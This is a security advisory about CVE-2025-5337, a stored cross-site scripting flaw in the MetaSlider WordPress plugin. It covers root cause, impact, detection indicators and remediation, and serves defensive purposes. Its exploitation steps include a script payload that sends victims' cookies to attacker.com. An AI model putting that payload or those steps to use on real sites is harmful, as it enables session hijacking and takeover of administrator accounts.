CVE-2025-5337: 
WordPress vulnerability analysis and mitigation

CVE-2025-5337 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Slider, Gallery, and Carousel by MetaSlider" plugin for WordPress. It affects all versions up to and including 3.98.0, stemming from insufficient input sanitization and output escaping of the aria-label parameter. The vulnerability was published on June 14, 2025, with a patch released in version 3.99.0. It carries a CVSS v3.1 base score of 5.4 (Medium) per NIST NVD, and 6.4 (Medium) per the CNA Wordfence (Wordfence Advisory, NVD).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), arising from the plugin's failure to properly sanitize user-supplied input in the aria-label parameter and escape it on output (NVD). An authenticated attacker with at least Contributor-level WordPress access can inject arbitrary JavaScript into slider/gallery/carousel elements; the malicious script is stored server-side and executes in the browsers of any user who subsequently visits the affected page. The vulnerable code path is visible in the plugin's script.js file at line 11 of the 3.98.0 release (WordPress Trac), and the fix was applied in the 3.99.0 changeset (WordPress Patch).

Successful exploitation allows an authenticated attacker (Contributor role or higher) to persistently inject malicious scripts that execute in the context of any visitor's browser session. Potential consequences include session cookie theft, credential harvesting, keylogging, performing unauthorized actions on behalf of victims, and potential account takeover — including administrator accounts if an admin visits the compromised page (Wordfence Advisory). Availability is not directly impacted, but confidentiality and integrity of user sessions and site content are at risk.

As of the time of publication, there is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation (Wordfence Advisory). The vulnerability requires authenticated access at the Contributor level, which limits the attack surface compared to unauthenticated flaws. The EPSS score is approximately 0.03%, indicating a low probability of exploitation in the near term. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on a target site running MetaSlider ≤ 3.98.0.
2. Navigate to MetaSlider: Log in to the WordPress dashboard and open the MetaSlider plugin to create or edit a slider, gallery, or carousel.
3. Inject Malicious Payload: In the aria-label field of a slide or element, insert a crafted XSS payload such as "><script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent event-handler-based payload.
4. Save and Publish: Save the slider configuration; the unsanitized payload is stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits a page containing the injected slider, the malicious script executes in their browser, enabling session hijacking, credential theft, or further exploitation (Wordfence Advisory, NVD).

• Logs: WordPress access logs showing POST requests to slider/gallery edit endpoints (e.g., wp-admin/admin.php?page=metaslider) from Contributor-level accounts containing encoded or raw script tags in the aria-label parameter.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads stored in the MetaSlider plugin's database entries (typically in the wp_postmeta or wp_posts tables associated with slider content).
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading pages containing MetaSlider elements, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for this stored XSS, but review script.js in the plugin directory (/wp-content/plugins/ml-slider/assets/metaslider/script.js) to confirm the installed version is patched.

The primary remediation is to update the MetaSlider plugin to version 3.99.0 or later, which includes the fix for improper sanitization of the aria-label parameter (WordPress Patch). As interim measures, site administrators should restrict Contributor-level account creation and permissions, and consider using a WordPress Web Application Firewall (WAF) or security plugin (e.g., Wordfence) to detect and block XSS attempts. Regularly auditing plugin installations and user roles is also recommended (Wordfence Advisory).

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for June 9–15, 2025, noting it as a stored XSS affecting a widely-used slider plugin (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the standard vulnerability disclosure process has been identified.